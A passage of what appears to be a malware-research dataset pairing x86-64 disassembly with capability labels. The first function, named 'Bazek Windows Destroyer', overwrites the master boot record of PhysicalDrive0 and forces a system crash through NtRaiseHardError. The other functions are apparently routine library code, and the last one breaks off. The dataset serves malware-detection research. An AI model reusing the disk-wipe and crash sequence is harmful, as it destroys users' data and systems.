joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001000
Capabilities:
Set console window title
Terminate process
Write file on windows

Disassembly:
sub rsp, 0x268
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x250], rax
lea rcx, str.Bazek_Windows_Destroyer
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001170
call qword [sym.imp.api_ms_win_crt_conio_l1_1_0.dll__getch]
cmp eax, 0x59
je 0x140001062
xor r9d, r9d
lea r8, str.Bazek_Security_Feature
lea rdx, str.Aborted_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor edx, edx
mov qword [rsp + 0x260], rbx
mov r8d, 0x200
lea rcx, [rsp + 0x50]
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
lea rcx, str..PhysicalDrive0
mov edx, 0x10000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
lea r9, [rsp + 0x44]
mov qword [rsp + 0x20], 0
mov rcx, rax
lea rdx, [rsp + 0x50]
mov r8d, 0x200
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r8d, r8d
lea r9, [rsp + 0x40]
mov dl, 1
lea ecx, [r8 + 0x13]
call rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rsp + 0x48]
xor r9d, r9d
mov qword [rsp + 0x28], rcx
xor r8d, r8d
mov ecx, 0xc000001d
mov dword [rsp + 0x20], 6
xor edx, edx
call rax
mov rbx, qword [rsp + 0x260]
xor eax, eax
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.1400013a0
add rsp, 0x268
ret

Function at 0x140001c7c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001cc6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001cc6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001cc6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001cc6
cmp dword [rcx + 0x84], 0xe
jbe 0x140001cc6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001cc8
xor al, al
add rsp, 0x28
ret
Function at 0x1400046f8
Capabilities:
Check if file exists

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x168]
sub rsp, 0x250
mov rax, qword [0x1400841b0]
xor rax, rsp
mov qword [rbp + 0x140], rax
xor r15d, r15d
lea rax, [rsp + 0x30]
mov qword [r8], r15
lea rdx, [rsp + 0x30]
sub rcx, rax
mov r14, r8
mov r9d, 0x104
lea rax, [r9 + 0x7ffffefa]
test rax, rax
je 0x140004769
movzx eax, word [rcx + rdx]
test ax, ax
je 0x140004769
mov word [rdx], ax
add rdx, 2
sub r9, 1
jne 0x140004747
test r9, r9
lea rax, [rdx - 2]
lea r8, [0x14005c4f8]
cmovne rax, rdx
lea rcx, [rsp + 0x30]
mov word [rax], r15w
call fcn.140002d28
mov ebx, 0x1f0003
lea r8, [rsp + 0x30]
mov ecx, ebx
xor edx, edx
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_OpenSemaphoreW]
nop dword [rax + rax]
mov rdi, rax
test rax, rax
jne 0x1400047d8
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
nop dword [rax + rax]
cmp eax, 2
je 0x1400048bf
mov edx, reloc.OLEAUT32.dll_SetErrorInfo
mov rcx, qword [rbp + 0x168]
call fcn.1400044a0
mov esi, eax
jmp 0x1400048c2
lea rdx, [rsp + 0x24]
mov dword [rsp + 0x24], r15d
mov rcx, rdi
mov dword [rsp + 0x20], r15d
call fcn.140004578
mov esi, eax
test eax, eax
jns 0x140004815
mov rcx, qword [rbp + 0x168]
lea r8, [0x14005c4a8]
mov r9d, eax
mov edx, 0xce
call fcn.14000446c
jmp 0x1400048c2
lea r8, [0x14005c500]
lea rcx, [rsp + 0x30]
call fcn.140002d28
lea r8, [rsp + 0x30]
xor edx, edx
mov ecx, ebx
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_OpenSemaphoreW]
nop dword [rax + rax]
mov rbx, rax
test rax, rax
jne 0x14000484d
mov edx, 0xd4
jmp 0x1400047c5
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.140004578
mov esi, eax
test eax, eax
jns 0x140004894
mov rcx, qword [rbp + 0x168]
lea r8, [0x14005c4a8]
mov r9d, eax
mov edx, 0xd6
call fcn.14000446c
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_handle_l1_1_0.dll_CloseHandle]
nop dword [rax + rax]
test eax, eax
je 0x14000491a
jmp 0x1400048c2
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_handle_l1_1_0.dll_CloseHandle]
nop dword [rax + rax]
test eax, eax
je 0x14000492c
movsxd rcx, dword [rsp + 0x20]
movsxd rax, dword [rsp + 0x24]
shl rcx, 0x1f
or rax, rcx
mov qword [r14], rax
mov esi, r15d
test rdi, rdi
je 0x1400048da
mov rcx, rdi
call qword [sym.imp.api_ms_win_core_handle_l1_1_0.dll_CloseHandle]
nop dword [rax + rax]
test eax, eax
je 0x140004908
mov eax, esi
mov rcx, qword [rbp + 0x140]
xor rcx, rsp
call fcn.14004ddf0
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov rcx, qword [rbp + 0x168]
mov edx, 0x90e
call fcn.1400044c0
int3
mov rcx, qword [rbp + 0x168]
mov edx, 0x90e
call fcn.1400044c0
int3
mov rcx, qword [rbp + 0x168]
mov edx, 0x90e
call fcn.1400044c0
int3
Function at 0x140013594
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push r12
push r14
push r15
sub rsp, 0x40
mov qword [rax - 0x30], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov r15, rdx
mov r14, rcx
movabs rcx, 0xcbf29ce484222325
xor edx, edx
movzx eax, byte [rdx + r8]
xor rcx, rax
movabs r9, 0x100000001b3
imul rcx, r9
inc rdx
cmp rdx, 4
jb 0x1400135cb
mov rsi, qword [r14 + 0x30]
and rsi, rcx
mov rdx, qword [r14 + 8]
add rsi, rsi
mov rax, qword [r14 + 0x18]
cmp qword [rax + rsi*8], rdx
jne 0x140013607
mov rbx, rdx
jmp 0x14001360f
mov rbx, qword [rax + rsi*8 + 8]
mov rbx, qword [rbx]
cmp rbx, qword [rax + rsi*8]
je 0x140013639
mov ecx, dword [r8]
mov rbx, qword [rbx + 8]
cmp ecx, dword [rbx + 0x10]
je 0x140013629
cmp rbx, qword [rax + rsi*8]
jne 0x140013618
jmp 0x140013639
mov qword [r15], rbx
mov byte [r15 + 8], 0
mov rax, r15
jmp 0x14001372d
mov rdi, qword [rdx]
mov r12, qword [rdi + 8]
mov r9, r8
mov r8, r12
mov rdx, rdi
call fcn.1400142b4
mov rdx, rax
mov rax, qword [r14 + 0x10]
movabs rcx, 0xaaaaaaaaaaaaaa9
sub rcx, rax
cmp rcx, 1
jae 0x14001367c
lea rcx, str.list_T__too_long
call qword [sym.imp.msvcp_win.dll_void___cdecl_std::_Xlength_error_char_const____ptr64_]
nop dword [rax + rax]
int3
inc rax
mov qword [r14 + 0x10], rax
mov qword [rdi + 8], rdx
mov qword [r12], rdx
mov rcx, qword [r14 + 8]
mov rdi, qword [rcx]
mov qword [rsp + 0x20], rdi
mov rax, qword [rdi]
cmp rbx, rax
je 0x1400136d0
mov rcx, qword [rdi + 8]
mov qword [rcx], rax
mov rcx, qword [rax + 8]
mov qword [rcx], rbx
mov rcx, qword [rbx + 8]
mov qword [rcx], rdi
mov rdx, qword [rbx + 8]
mov rcx, qword [rax + 8]
mov qword [rbx + 8], rcx
mov rcx, qword [rdi + 8]
mov qword [rax + 8], rcx
mov qword [rdi + 8], rdx
mov rcx, qword [r14 + 8]
mov rdx, qword [r14 + 0x18]
cmp qword [rdx + rsi*8], rcx
jne 0x1400136e9
mov qword [rdx + rsi*8], rdi
mov rax, qword [r14 + 0x18]
mov qword [rax + rsi*8 + 8], rdi
jmp 0x140013719
cmp qword [rdx + rsi*8], rbx
jne 0x1400136f5
mov qword [rdx + rsi*8], rdi
jmp 0x140013719
mov rax, qword [rdx + rsi*8 + 8]
mov rcx, qword [rax]
mov qword [rdx + rsi*8 + 8], rcx
cmp rcx, rdi
je 0x140013719
mov rdx, qword [r14 + 0x18]
mov rax, qword [rdx + rsi*8 + 8]
mov rcx, qword [rax + 8]
mov qword [rdx + rsi*8 + 8], rcx
mov rcx, r14
call fcn.140013c50
nop
mov qword [r15], rdi
mov byte [r15 + 8], 1
mov rax, r15
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r12
ret
Function at 0x140013750
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x30
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x68], rbx
mov r15, rdx
mov r14, rcx
mov rbx, qword [r8 + 0x10]
mov r9, r8
cmp qword [r8 + 0x18], 8
jb 0x140013786
mov r9, qword [r8]
movabs rcx, 0xcbf29ce484222325
xor edx, edx
lea r10, [rbx + rbx]
test r10, r10
je 0x1400137b9
movzx eax, byte [rdx + r9]
xor rcx, rax
movabs r11, 0x100000001b3
imul rcx, r11
inc rdx
cmp rdx, r10
jb 0x14001379b
mov rsi, qword [r14 + 0x30]
and rsi, rcx
mov rdi, qword [r14 + 8]
add rsi, rsi
mov r9, qword [r14 + 0x18]
cmp rdi, qword [r9 + rsi*8]
je 0x140013841
mov rdi, qword [r9 + rsi*8 + 8]
mov rdi, qword [rdi]
jmp 0x14001383b
mov rdi, qword [rdi + 8]
lea rcx, [rdi + 0x10]
mov rax, rcx
cmp qword [rcx + 0x18], 8
jb 0x1400137f0
mov rax, qword [rcx]
mov rdx, r8
cmp qword [r8 + 0x18], 8
jb 0x1400137fd
mov rdx, qword [r8]
cmp rbx, qword [rcx + 0x10]
jne 0x14001383b
mov r11, rbx
test rbx, rbx
je 0x140013826
sub rdx, rax
movzx ecx, word [rdx + rax]
movzx r10d, word [rax]
cmp cx, r10w
jne 0x140013888
add rax, 2
sub r11, 1
jne 0x14001380e
xor eax, eax
test eax, eax
jne 0x14001383b
mov qword [r15], rdi
mov byte [r15 + 8], al
mov rax, r15
jmp 0x140013942
cmp rdi, qword [r9 + rsi*8]
jne 0x1400137db
mov rax, qword [r14 + 8]
mov rbx, qword [rax]
mov r12, qword [rbx + 8]
mov r9, r8
mov r8, r12
mov rdx, rbx
call fcn.140014268
mov rdx, rax
mov rax, qword [r14 + 0x10]
movabs rcx, 0x555555555555554
sub rcx, rax
cmp rcx, 1
jae 0x140013891
lea rcx, str.list_T__too_long
call qword [sym.imp.msvcp_win.dll_void___cdecl_std::_Xlength_error_char_const____ptr64_]
nop dword [rax + rax]
nop
sbb eax, eax
and eax, 0xfffffffe
inc eax
jmp 0x140013828
inc rax
mov qword [r14 + 0x10], rax
mov qword [rbx + 8], rdx
mov qword [r12], rdx
mov rcx, qword [r14 + 8]
mov rbx, qword [rcx]
mov qword [rsp + 0x70], rbx
mov rax, qword [rbx]
cmp rdi, rax
je 0x1400138e5
mov rcx, qword [rbx + 8]
mov qword [rcx], rax
mov rcx, qword [rax + 8]
mov qword [rcx], rdi
mov rcx, qword [rdi + 8]
mov qword [rcx], rbx
mov rdx, qword [rdi + 8]
mov rcx, qword [rax + 8]
mov qword [rdi + 8], rcx
mov rcx, qword [rbx + 8]
mov qword [rax + 8], rcx
mov qword [rbx + 8], rdx
mov rcx, qword [r14 + 8]
mov rdx, qword [r14 + 0x18]
cmp qword [rdx + rsi*8], rcx
jne 0x1400138fe
mov qword [rdx + rsi*8], rbx
mov rax, qword [r14 + 0x18]
mov qword [rax + rsi*8 + 8], rbx
jmp 0x14001392e
cmp qword [rdx + rsi*8], rdi
jne 0x14001390a
mov qword [rdx + rsi*8], rbx
jmp 0x14001392e
mov rax, qword [rdx + rsi*8 + 8]
mov rcx, qword [rax]
mov qword [rdx + rsi*8 + 8], rcx
cmp rcx, rbx
je 0x14001392e
mov rdx, qword [r14 + 0x18]
mov rax, qword [rdx + rsi*8 + 8]
mov rcx, qword [rax + 8]
mov qword [rdx + rsi*8 + 8], rcx
mov rcx, r14
call fcn.140013aac
nop
mov qword [r15], rbx
mov byte [r15 + 8], 1
mov rax, r15
mov rbx, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x140013b64
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rdi, r8
mov rsi, rdx
mov r8, rcx
lea r9, [rdi + 0x10]
cmp qword [r9 + 0x18], 8
mov r10, r9
mov r11, qword [r9 + 0x10]
jb 0x140013b91
mov r10, qword [r9]
xor edx, edx
movabs rcx, 0xcbf29ce484222325
add r11, r11
je 0x140013bc0
movzx eax, byte [rdx + r10]
movabs rbx, 0x100000001b3
xor rcx, rax
inc rdx
imul rcx, rbx
cmp rdx, r11
jb 0x140013ba2
mov rdx, qword [r8 + 0x30]
and rdx, rcx
mov rcx, qword [r8 + 0x18]
add rdx, rdx
cmp qword [rcx + rdx*8 + 8], rdi
jne 0x140013bf8
cmp qword [rcx + rdx*8], rdi
jne 0x140013bed
mov rax, qword [r8 + 8]
mov qword [rcx + rdx*8], rax
mov rcx, qword [r8 + 0x18]
mov rax, qword [r8 + 8]
jmp 0x140013bf1
mov rax, qword [rdi + 8]
mov qword [rcx + rdx*8 + 8], rax
jmp 0x140013c05
cmp qword [rcx + rdx*8], rdi
jne 0x140013c05
mov rax, qword [rdi]
mov qword [rcx + rdx*8], rax
mov rax, qword [rdi + 8]
mov rcx, r9
mov rbx, qword [rdi]
mov qword [rax], rbx
mov rdx, qword [rdi]
mov rax, qword [rdi + 8]
mov qword [rdx + 8], rax
dec qword [r8 + 0x10]
call fcn.14000a1c0
mov edx, 0x30
mov rcx, rdi
call fcn.14004e2b8
mov qword [rsi], rbx
mov rax, rsi
mov rsi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x140013d08
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov r9, rcx
mov rdi, rdx
movabs rcx, 0xcbf29ce484222325
xor r10d, r10d
movzx eax, byte [r8 + r10 + 0x10]
movabs rdx, 0x100000001b3
xor rcx, rax
inc r10
imul rcx, rdx
cmp r10, 4
jb 0x140013d25
mov rdx, qword [r9 + 0x30]
and rdx, rcx
mov rcx, qword [r9 + 0x18]
add rdx, rdx
cmp qword [rcx + rdx*8 + 8], r8
jne 0x140013d7d
cmp qword [rcx + rdx*8], r8
jne 0x140013d72
mov rax, qword [r9 + 8]
mov qword [rcx + rdx*8], rax
mov rcx, qword [r9 + 0x18]
mov rax, qword [r9 + 8]
jmp 0x140013d76
mov rax, qword [r8 + 8]
mov qword [rcx + rdx*8 + 8], rax
jmp 0x140013d8a
cmp qword [rcx + rdx*8], r8
jne 0x140013d8a
mov rax, qword [r8]
mov qword [rcx + rdx*8], rax
mov rax, qword [r8 + 8]
mov edx, DispGetParam
mov rbx, qword [r8]
mov qword [rax], rbx
mov rcx, qword [r8]
mov rax, qword [r8 + 8]
mov qword [rcx + 8], rax
mov rcx, r8
dec qword [r9 + 0x10]
call fcn.14004e2b8
mov qword [rdi], rbx
mov rax, rdi
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140013e90
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], r9
mov qword [rax + 8], rcx
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x30
mov qword [rax - 0x38], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov rbx, r9
mov r10, r8
mov rsi, rdx
mov r9, rcx
mov r12, qword [r8 + 0x10]
cmp qword [r8 + 0x18], 8
jb 0x140013ecd
mov r8, qword [r8]
movabs rdx, 0xcbf29ce484222325
xor ecx, ecx
lea r11, [r12 + r12]
test r11, r11
je 0x140013f00
movzx eax, byte [rcx + r8]
xor rdx, rax
movabs rdi, 0x100000001b3
imul rdx, rdi
inc rcx
cmp rcx, r11
jb 0x140013ee2
mov r8, qword [r9 + 0x30]
and r8, rdx
mov rdi, qword [r9 + 8]
add r8, r8
mov r11, qword [r9 + 0x18]
cmp rdi, qword [r11 + r8*8]
je 0x140013fc6
mov rdi, qword [r11 + r8*8 + 8]
mov rdi, qword [rdi]
jmp 0x140013fbc
mov rdi, qword [rdi + 8]
lea rax, [rdi + 0x10]
mov rcx, rax
cmp qword [rax + 0x18], 8
jb 0x140013f3e
mov rcx, qword [rax]
mov rdx, r10
cmp qword [r10 + 0x18], 8
jb 0x140013f4b
mov rdx, qword [r10]
cmp r12, qword [rax + 0x10]
jne 0x140013fbc
mov r15, r12
test r12, r12
je 0x140013f78
sub rdx, rcx
movzx eax, word [rdx + rcx]
movzx r14d, word [rcx]
cmp ax, r14w
jne 0x140014018
add rcx, 2
sub r15, 1
jne 0x140013f5c
xor eax, eax
test eax, eax
jne 0x140013fbc
mov rcx, qword [rbx + 8]
mov rax, qword [rbx]
mov qword [rcx], rax
mov rcx, qword [rbx]
mov rax, qword [rbx + 8]
mov qword [rcx + 8], rax
dec qword [r9 + 0x10]
lea rcx, [rbx + 0x10]
call fcn.14000a1c0
mov edx, 0x30
mov rcx, rbx
call fcn.14004e2b8
mov qword [rsi], rdi
mov byte [rsi + 8], 0
mov rax, rsi
jmp 0x140014066
cmp rdi, qword [r11 + r8*8]
jne 0x140013f29
mov rax, qword [rbx]
cmp rdi, rax
je 0x140013ffb
mov rcx, qword [rbx + 8]
mov qword [rcx], rax
mov rcx, qword [rax + 8]
mov qword [rcx], rdi
mov rcx, qword [rdi + 8]
mov qword [rcx], rbx
mov rdx, qword [rdi + 8]
mov rcx, qword [rax + 8]
mov qword [rdi + 8], rcx
mov rcx, qword [rbx + 8]
mov qword [rax + 8], rcx
mov qword [rbx + 8], rdx
mov rdx, qword [r9 + 0x18]
mov rax, qword [rdx + r8*8]
cmp rax, qword [r9 + 8]
jne 0x140014024
mov qword [rdx + r8*8], rbx
mov rax, qword [r9 + 0x18]
mov qword [rax + r8*8 + 8], rbx
jmp 0x140014053
sbb eax, eax
and eax, 0xfffffffe
inc eax
jmp 0x140013f7a
cmp rax, rdi
jne 0x14001402f
mov qword [rdx + r8*8], rbx
jmp 0x140014053
mov rax, qword [rdx + r8*8 + 8]
mov rcx, qword [rax]
mov qword [rdx + r8*8 + 8], rcx
cmp rcx, rbx
je 0x140014053
mov rdx, qword [r9 + 0x18]
mov rax, qword [rdx + r8*8 + 8]
mov rcx, qword [rax + 8]
mov qword [rdx + r8*8 + 8], rcx
mov rcx, r9
call fcn.140013aac
nop
mov qword [rsi], rbx
mov byte [rsi + 8], 1
mov rax, rsi
mov rbx, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x140014080
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], r9
mov qword [rax + 8], rcx
push rdi
sub rsp, 0x40
mov qword [rax - 0x28], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rbx, r9
mov r10, r8
mov rsi, rdx
mov r9, rcx
movabs rcx, 0xcbf29ce484222325
xor edx, edx
movzx eax, byte [rdx + r10]
xor rcx, rax
movabs r8, 0x100000001b3
imul rcx, r8
inc rdx
cmp rdx, 4
jb 0x1400140b8
mov r8, qword [r9 + 0x30]
and r8, rcx
mov rdi, qword [r9 + 8]
add r8, r8
mov rax, qword [r9 + 0x18]
cmp rdi, qword [rax + r8*8]
je 0x140014146
mov rdi, qword [rax + r8*8 + 8]
mov rdi, qword [rdi]
cmp rdi, qword [rax + r8*8]
je 0x140014146
mov ecx, dword [r10]
mov rdi, qword [rdi + 8]
cmp ecx, dword [rdi + 0x10]
je 0x140014111
cmp rdi, qword [rax + r8*8]
jne 0x140014100
jmp 0x140014146
mov rcx, qword [rbx + 8]
mov rax, qword [rbx]
mov qword [rcx], rax
mov rcx, qword [rbx]
mov rax, qword [rbx + 8]
mov qword [rcx + 8], rax
dec qword [r9 + 0x10]
mov edx, DispGetParam
mov rcx, rbx
call fcn.14004e2b8
mov qword [rsi], rdi
mov byte [rsi + 8], 0
mov rax, rsi
jmp 0x1400141da
mov rax, qword [rbx]
cmp rdi, rax
je 0x14001417b
mov rcx, qword [rbx + 8]
mov qword [rcx], rax
mov rcx, qword [rax + 8]
mov qword [rcx], rdi
mov rcx, qword [rdi + 8]
mov qword [rcx], rbx
mov rdx, qword [rdi + 8]
mov rcx, qword [rax + 8]
mov qword [rdi + 8], rcx
mov rcx, qword [rbx + 8]
mov qword [rax + 8], rcx
mov qword [rbx + 8], rdx
mov rdx, qword [r9 + 0x18]
mov rax, qword [rdx + r8*8]
cmp rax, qword [r9 + 8]
jne 0x140014198
mov qword [rdx + r8*8], rbx
mov rax, qword [r9 + 0x18]
mov qword [rax + r8*8 + 8], rbx
jmp 0x1400141c7
cmp rax, rdi
jne 0x1400141a3
mov qword [rdx + r8*8], rbx
jmp 0x1400141c7
mov rax, qword [rdx + r8*8 + 8]
mov rcx, qword [rax]
mov qword [rdx + r8*8 + 8], rcx
cmp rcx, rbx
je 0x1400141c7
mov rdx, qword [r9 + 0x18]
mov rax, qword [rdx + r8*8 + 8]
mov rcx, qword [rax + 8]
mov qword [rdx + r8*8 + 8], rcx
mov rcx, r9
call fcn.140013c50
nop
mov qword [rsi], rbx
mov byte [rsi + 8], 1
mov rax, rsi
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x140018a84
Capabilities:
Decode data using base64 via winapi

Disassembly:
mov rax, rsp
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rdi, rdx
mov rbx, rcx
and dword [rbp + 0x18], 0
and qword [rbp - 0x18], 0
and qword [rbp - 0x10], 0
and qword [rbp - 8], 0
mov rcx, rdx
cmp qword [rdx + 0x18], 8
jb 0x140018ac9
mov rcx, qword [rdx]
and qword [rsp + 0x30], 0
and qword [rsp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea esi, [r9 + 1]
mov r8d, esi
mov edx, dword [rdx + 0x10]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
nop dword [rax + rax]
test eax, eax
je 0x140018c4c
mov edx, dword [rbp + 0x18]
lea rcx, [rbp - 0x18]
call fcn.14000fb28
mov rax, qword [rbp - 0x10]
sub rax, qword [rbp - 0x18]
neg rax
sbb r9, r9
and r9, qword [rbp - 0x18]
mov rax, qword [rdi + 0x10]
cmp qword [rdi + 0x18], 8
jb 0x140018b2b
mov rdi, qword [rdi]
and qword [rsp + 0x30], 0
and qword [rsp + 0x28], 0
lea rcx, [rbp + 0x18]
mov qword [rsp + 0x20], rcx
mov r8d, esi
mov edx, eax
mov rcx, rdi
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
nop dword [rax + rax]
test eax, eax
je 0x140018c07
mov edi, dword [rbp + 0x18]
and qword [rbx + 0x10], 0
mov qword [rbx + 0x18], reloc.OLEAUT32.dll_SafeArrayDestroy
mov byte [rbx], 0
cmp rdi, qword [rbx + 0x18]
ja 0x140018b9b
mov rsi, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140018b82
mov rsi, qword [rbx]
mov qword [rbx + 0x10], rdi
mov r8, rdi
mov rdx, qword [rbp - 0x18]
mov rcx, rsi
call sub.api_ms_win_crt_private_l1_1_0.dll_memmove
mov byte [rsi + rdi], 0
jmp 0x140018bab
mov r9, qword [rbp - 0x18]
mov rdx, rdi
mov rcx, rbx
call fcn.140009914
nop
mov rcx, qword [rbp - 0x18]
test rcx, rcx
je 0x140018bee
mov rdx, qword [rbp - 8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018be9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140018be9
call qword [sym.imp.api_ms_win_crt_private_l1_1_0.dll__o__invalid_parameter_noinfo_noreturn]
nop dword [rax + rax]
int3
call fcn.14004e2b8
mov rax, rbx
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
nop dword [rax + rax]
nop
movzx ecx, ax
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
call fcn.140005968
mov r9d, eax
mov rcx, qword [rbp + 8]
lea rax, str.base64Decode_failed
mov qword [rsp + 0x20], rax
lea r8, str.amcorewcd_sensedlp_srccommonincconverters.h
mov edx, 0xf5
call fcn.14001b330
int3
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
nop dword [rax + rax]
movzx ecx, ax
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
call fcn.140005968
mov r9d, eax
mov rcx, qword [rbp + 8]
lea rax, str.base64Decode_failed_to_calculate_needed_size_of_converted_message
mov qword [rsp + 0x20], rax
lea r8, str.amcorewcd_sensedlp_srccommonincconverters.h
mov edx, 0xec
call fcn.14001b330
int3
Function at 0x14002a3e8
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
sub rsp, 0x460
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov rax, qword [0x1400841b0]
xor rax, rsp
mov qword [rsp + 0x450], rax
mov rbx, rdx
and qword [rsp + 0x38], 0
lea rdx, [0x140085060]
cmp qword [0x140085078], 8
cmovae rdx, qword [0x140085060]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExW]
nop dword [rax + rax]
test eax, eax
setne dl
movzx r9d, ax
or r9d, 0x80070000
test eax, eax
cmovle r9d, eax
mov rcx, qword [rsp + 0x468]
lea rax, str.ArchiveExtractorManager::GetMpEngineSignaturePath___failure_in_RegOpenKeyExW
mov qword [rsp + 0x28], rax
mov byte [rsp + 0x20], dl
lea r8, str.amcorewcd_sensedlp_srcexe_archivefiles_src_archiveextractormanager.cpp
mov edx, 0x44
call fcn.140011818
mov dword [rsp + 0x30], 0x400
lea rdx, [0x140085080]
cmp qword [0x140085098], 8
cmovae rdx, qword [0x140085080]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
nop dword [rax + rax]
test eax, eax
setne dl
movzx r9d, ax
or r9d, 0x80070000
test eax, eax
cmovle r9d, eax
mov rcx, qword [rsp + 0x468]
lea rax, str.ArchiveExtractorManager::RegQueryValueExW___failure_in_RegOpenKeyExW
mov qword [rsp + 0x28], rax
mov byte [rsp + 0x20], dl
lea r8, str.amcorewcd_sensedlp_srcexe_archivefiles_src_archiveextractormanager.cpp
mov edx, 0x48
call fcn.140011818
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140009014
nop
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x14002a53e
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
nop dword [rax + rax]
mov rax, rbx
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.14004ddf0
add rsp, 0x460
pop rbx
ret
Function at 0x14002d808
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov r11, rdx
mov rbx, rcx
movabs r9, 0xcbf29ce484222325
xor r10d, r10d
movzx eax, byte [r10 + r8]
movabs rcx, 0x100000001b3
xor r9, rax
